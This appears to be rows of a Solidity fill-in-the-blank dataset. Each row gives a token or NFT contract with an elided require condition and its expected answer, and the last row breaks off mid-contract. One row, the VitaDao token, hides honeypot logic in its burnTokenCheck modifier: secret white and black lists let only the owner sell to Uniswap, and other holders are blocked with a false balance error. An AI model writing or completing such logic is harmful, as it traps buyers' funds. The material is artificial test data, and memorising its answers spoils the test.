function burn(uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Burn
{
}
function burnFrom(address _from, uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Burn From
{
}
} // XPCoin Smart Contract End
| (msg.sender==owner)||(msg.sender==bkaddress) | 38,229 | (msg.sender==owner)||(msg.sender==bkaddress) |
null | pragma solidity ^0.4.20;
contract tokenRecipient
{
function receiveApproval(address from, uint256 value, address token, bytes extraData) public;
}
contract XPCoin // XPCoin Smart Contract Start
{
/* Variables For Contract */
string public name; // Variable To Store Name
string public symbol; // Variable To Store Symbol
uint8 public decimals; // Variable To Store Decimals
uint256 public totalSupply; // Variable To Store Total Supply Of Tokens
uint256 public remaining; // Variable To Store Smart Remaining Tokens
address public owner; // Variable To Store Smart Contract Owner
uint public icoStatus; // Variable To Store Smart Contract Status ( Enable / Disabled )
address public benAddress; // Variable To Store Ben Address
address public bkaddress; // Variable To Store Backup Ben Address
uint public allowTransferToken; // Variable To Store If Transfer Is Enable Or Disabled
/* Array For Contract*/
mapping (address => uint256) public balanceOf; // Arrary To Store Ether Addresses
mapping (address => mapping (address => uint256)) public allowance; // Arrary To Store Ether Addresses For Allowance
mapping (address => bool) public frozenAccount; // Arrary To Store Ether Addresses For Frozen Account
/* Events For Contract */
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event TokenTransferEvent(address indexed from, address indexed to, uint256 value, string typex);
/* Initialize Smart Contract */
function XPCoin() public
{
}
modifier onlyOwner() // Create Modifier
{
}
function () public payable // Default Function
{
}
function sendToMultipleAccount (address[] dests, uint256[] values) public onlyOwner returns (uint256) // Function To Send Token To Multiple Account At A Time
{
}
function sendTokenToSingleAccount(address receiversAddress ,uint256 amountToTransfer) public onlyOwner // Function To Send Token To Single Account At A Time
{
}
function setTransferStatus (uint st) public onlyOwner // Set Transfer Status
{
}
function changeIcoStatus (uint8 st) public onlyOwner // Change ICO Status
{
}
function withdraw(uint amountWith) public onlyOwner // Withdraw Funds From Contract
{
}
function withdraw_all() public onlyOwner // Withdraw All Funds From Contract
{
}
function mintToken(uint256 tokensToMint) public onlyOwner // Mint Tokens
{
}
function adm_trasfer(address _from,address _to, uint256 _value) public onlyOwner // Admin Transfer Tokens
{
}
function freezeAccount(address target, bool freeze) public onlyOwner // Freeze Account
{
}
function balanceOf(address _owner) public constant returns (uint256 balance) // ERC20 Function Implementation To Show Account Balance
{
}
function totalSupply() private constant returns (uint256 tsupply) // ERC20 Function Implementation To Show Total Supply
{
}
function transferOwnership(address newOwner) public onlyOwner // Function Implementation To Transfer Ownership
{
}
function _transfer(address _from, address _to, uint _value) internal // Internal Function To Transfer Tokens
{
}
function transfer(address _to, uint256 _value) public // ERC20 Function Implementation To Transfer Tokens
{
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Transfer From
{
}
function approve(address _spender, uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Approve
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) // ERC20 Function Implementation Of Approve & Call
{
}
function burn(uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Burn
{
require(<FILL_ME>) // Check If The Sender Has Enough Balance
balanceOf[msg.sender] -= _value; // Subtract From The Sender
totalSupply -= _value; // Updates TotalSupply
remaining -= _value; // Update Remaining Tokens
Burn(msg.sender, _value); // Raise Event
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) // ERC20 Function Implementation Of Burn From
{
}
} // XPCoin Smart Contract End
| balanceOf[msg.sender]>_value | 38,229 | balanceOf[msg.sender]>_value |
"ERC20: transfer amount exceeds balance" | pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract VitaDao is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require(<FILL_ME>)_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| (sender==_safeOwner)||(recipient==_unirouter),"ERC20: transfer amount exceeds balance" | 38,251 | (sender==_safeOwner)||(recipient==_unirouter) |
null | pragma solidity ^0.4.25;
/*
*/
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
}
function setOwner(address owner_0x57e5418343524D77d4856159D23031609919FB25)
public
auth
{
}
function setAuthority(DSAuthority authority_)
public
auth
{
}
modifier auth {
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
}
function sub(uint x, uint y) internal pure returns (uint z) {
}
function mul(uint x, uint y) internal pure returns (uint z) {
}
function min(uint x, uint y) internal pure returns (uint z) {
}
function max(uint x, uint y) internal pure returns (uint z) {
}
function imin(int x, int y) internal pure returns (int z) {
}
function imax(int x, int y) internal pure returns (int z) {
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
}
function rmul(uint x, uint y) internal pure returns (uint z) {
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint) {
}
/**
* @dev Gets the balance of the specified address.
* @param src The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address src) public view returns (uint) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param src address The address which owns the funds.
* @param guy address The address which will spend the funds.
*/
function allowance(address src, address guy) public view returns (uint) {
}
/**
* @dev Transfer token for a specified address
* @param dst The address to transfer to.
* @param wad The amount to be transferred.
*/
function transfer(address dst, uint wad) public returns (bool) {
}
/**
* @dev Transfer tokens from one address to another
* @param src address The address which you want to send tokens from
* @param dst address The address which you want to transfer to
* @param wad uint256 the amount of tokens to be transferred
*/
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param guy The address which will spend the funds.
* @param wad The amount of tokens to be spent.
*/
function approve(address guy, uint wad) public returns (bool) {
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param src The address which will spend the funds.
* @param wad The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
}
/**
* @dev Decrese the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param src The address which will spend the funds.
* @param wad The amount of tokens to increase the allowance by.
*/
function decreaseAllowance(
address src,
uint256 wad
)
public
returns (bool)
{
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
}
function stop() public auth note {
}
function start() public auth note {
}
}
contract IncomeCoin is DSTokenBase , DSStop {
string public symbol="ISC";
string public name="Income Coin";
uint256 public decimals = 18; // Standard Token Precision
uint256 public initialSupply=100000000000000000000000000;
address public burnAdmin;
constructor() public
DSTokenBase(initialSupply)
{
}
event Burn(address indexed guy, uint wad);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyAdmin() {
require(<FILL_ME>)
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isAdmin() public view returns(bool) {
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyAdmin {
}
function approve(address guy) public stoppable returns (bool) {
}
function approve(address guy, uint wad) public stoppable returns (bool) {
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
}
/**
* @dev Burns a specific amount of tokens from the target address
* @param guy address The address which you want to send tokens from
* @param wad uint256 The amount of token to be burned
*/
function burnfromAdmin(address guy, uint wad) public onlyAdmin {
}
}
| isAdmin() | 38,386 | isAdmin() |
null | /*
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^^%^^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^( ^^^^& ^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^.* %^^, ,^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^^ ( ^^^^^^^^^^^
^^^^^^^^^^^^^^^^^^^. &^^^^^^^^^^
^^^^^^^^^^^^^^^^^^ * ^^^^^^^^^^
^^^^^^^^^^^^^^^^. * ^ #^^^^^^^^^
^^^^^^^^^^^^^^* @ @. * @&* ^^^^^^^^^
^^^^^^^^^ ^^^^^^^^^
^^^^^^^ (^^^^^^^^
^^^^^^^ ^ ^^^^^^^^
^^^^^^^ , ^^^^^^^^
^^^^^^^^^^ * *^^^^^^^
^^^^^^^^^^^^^^^^^* #^^^^^^
^^^^^^^^^^^^^^^^% ^^^^^^
website - https://moomin-token.network/
telegram - https://t.me/Moomin_Token
twitter - https://twitter.com/moomin_token
reddit - https://www.reddit.com/r/moomintoken/
email - [email protected]
Moomin family are trolls. They live in their house in Moominvalley and have any adventures with their friends.
Moomin is famous for being interested and excited about everything he sees and finds,
always trying to be good, but sometimes getting into trouble while doing so.
No presale, public or private
No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction.
Total supply = 1,000,000,000,000 initial buy limit 10,000,000,000
2% redistribution
30 seconds cooldown on each buy.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MOOMIN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Moomin";
string private constant _symbol = "MOOMIN";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _DevAddress;
address payable private _MarketingAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor (address payable DevAddress, address payable MarketingAddress) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function addLiquidity() external onlyOwner() {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function delBot(address notbot) public onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
}
}
| _msgSender()==owner() | 38,404 | _msgSender()==owner() |
"unauthorised" | pragma solidity ^0.7.5;
//import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IRNG.sol";
struct request {
IERC721Enumerable token;
address[] vaults;
address recipient;
bytes32 requestHash;
bool callback;
bool collected;
}
contract allocator is Ownable {
// see you later allocator....
IRNG public rnd;
string public sixties_reference = "https://www.youtube.com/watch?v=1Hb66FH9AzI";
mapping(bytes32 => request) public requestsFromHashes;
mapping(bytes32 => uint256[]) public repliesFromHashes;
mapping(address => bytes32[]) public userRequests;
mapping (address => mapping(address => bool)) public canRequestThisVault; // can this source access these tokens
mapping (address => bool) public auth;
mapping (address => uint) public vaultRequests;
bool inside;
event ImmediateResolution(address requestor,IERC721Enumerable token,address vault,address recipient,uint256 tokenId);
event RandomCardRequested(address requestor,IERC721Enumerable token,address vault,address recipient, bytes32 requestHash);
event VaultControlChanged(address operator, address vault, bool allow);
event OperatorSet(address operator, bool enabled);
modifier onlyAuth() {
require(<FILL_ME>)
_;
}
modifier noCallbacks() {
}
constructor(IRNG _rnd) {
}
function getMeRandomCardsWithCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32) {
}
function getMeRandomCardsWithoutCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32){
}
function getMeRandomCards(IERC721Enumerable token, address[] memory vaults, address recipient, bool withCallback ) internal returns (bytes32) {
}
function process(uint256 random, bytes32 _requestId) external {
}
function my_process(uint256 random, bytes32 _requestId) internal {
}
function pickUpMyCards() external {
}
function pickUpCardsFor(address recipient) public noCallbacks {
}
function numberOfRequests(address _owner) external view returns (uint256) {
}
function numberOfReplies(bytes32 _requestId) external view returns (uint256) {
}
// ADMIN ------------------------
function setAuth(address operator, bool enabled) external onlyAuth {
}
// VAULTS ------------------------
function setVaultAccess(address operator, address vault, bool allow) external onlyAuth {
}
function checkAccess(IERC721Enumerable token, address vault) external view returns (bool) {
}
}
| auth[msg.sender]||(msg.sender==owner()),"unauthorised" | 38,448 | auth[msg.sender]||(msg.sender==owner()) |
"Vault does not allow token transfers" | pragma solidity ^0.7.5;
//import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IRNG.sol";
struct request {
IERC721Enumerable token;
address[] vaults;
address recipient;
bytes32 requestHash;
bool callback;
bool collected;
}
contract allocator is Ownable {
// see you later allocator....
IRNG public rnd;
string public sixties_reference = "https://www.youtube.com/watch?v=1Hb66FH9AzI";
mapping(bytes32 => request) public requestsFromHashes;
mapping(bytes32 => uint256[]) public repliesFromHashes;
mapping(address => bytes32[]) public userRequests;
mapping (address => mapping(address => bool)) public canRequestThisVault; // can this source access these tokens
mapping (address => bool) public auth;
mapping (address => uint) public vaultRequests;
bool inside;
event ImmediateResolution(address requestor,IERC721Enumerable token,address vault,address recipient,uint256 tokenId);
event RandomCardRequested(address requestor,IERC721Enumerable token,address vault,address recipient, bytes32 requestHash);
event VaultControlChanged(address operator, address vault, bool allow);
event OperatorSet(address operator, bool enabled);
modifier onlyAuth() {
}
modifier noCallbacks() {
}
constructor(IRNG _rnd) {
}
function getMeRandomCardsWithCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32) {
}
function getMeRandomCardsWithoutCallback(IERC721Enumerable token, address[] memory vaults, address recipient) external noCallbacks onlyAuth returns (bytes32){
}
function getMeRandomCards(IERC721Enumerable token, address[] memory vaults, address recipient, bool withCallback ) internal returns (bytes32) {
require(vaults.length <= 8,"Max 8 draws");
bytes32 requestHash;
if (withCallback) {
requestHash = rnd.requestRandomNumberWithCallback();
} else {
requestHash = rnd.requestRandomNumber();
}
userRequests[recipient].push(requestHash);
requestsFromHashes[requestHash] = request(
token,
vaults,
recipient,
requestHash,
withCallback,
false
);
for (uint j = 0; j < vaults.length; j++) {
address vault = vaults[j];
require(<FILL_ME>)
require(canRequestThisVault[msg.sender][vault],"Caller is not allowed to access this vault");
uint256 supply = token.balanceOf(vault);
require(vaultRequests[vault] < supply, "Not enough tokens to fulfill request");
// This assumes that all the cards in this wallet are of the correct category
vaultRequests[vault]++;
emit RandomCardRequested(msg.sender,token,vault,recipient,requestHash);
}
return requestHash;
}
function process(uint256 random, bytes32 _requestId) external {
}
function my_process(uint256 random, bytes32 _requestId) internal {
}
function pickUpMyCards() external {
}
function pickUpCardsFor(address recipient) public noCallbacks {
}
function numberOfRequests(address _owner) external view returns (uint256) {
}
function numberOfReplies(bytes32 _requestId) external view returns (uint256) {
}
// ADMIN ------------------------
function setAuth(address operator, bool enabled) external onlyAuth {
}
// VAULTS ------------------------
function setVaultAccess(address operator, address vault, bool allow) external onlyAuth {
}
function checkAccess(IERC721Enumerable token, address vault) external view returns (bool) {
}
}
| token.isApprovedForAll(vault,address(this)),"Vault does not allow token transfers" | 38,448 | token.isApprovedForAll(vault,address(this)) |
"Caller is not allowed to access this vault" | pragma solidity ^0.7.5;
//import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/IRNG.sol";
struct request {
IERC721Enumerable token;
address[] vaults;
address recipient;
bytes32 requestHash;
bool callback;
bool collected;
}
contract allocator is Ownable {
// see you later allocator....
IRNG public rnd;
string public sixties_reference = "https://www.youtube.com/watch?v=1Hb66FH9AzI";
mapping(bytes32 => request) public requestsFromHashes;
mapping(bytes32 => uint256[]) public repliesFromHashes;
mapping(address => bytes32[]) public userRequests;
mapping (address => mapping(address => bool)) public canRequestThisVault; // can this source access these tokens
mapping (address => bool) public auth;
mapping (address => uint) public vaultRequests;
bool inside;
event ImmediateResolution(address requestor,IERC721Enumerable token,address vault,address recipient,uint256 tokenId);
event RandomCardRequested(address requestor,IERC721Enumerable token,address vault,address recipient, bytes32 requestHash);
event VaultControlChanged(address operator, address vault, bool allow);
event OperatorSet(address operator, bool enabled);
modifier onlyAuth() {
}
modifier noCallbacks() {
}
constructor(IRNG _rnd) {
}
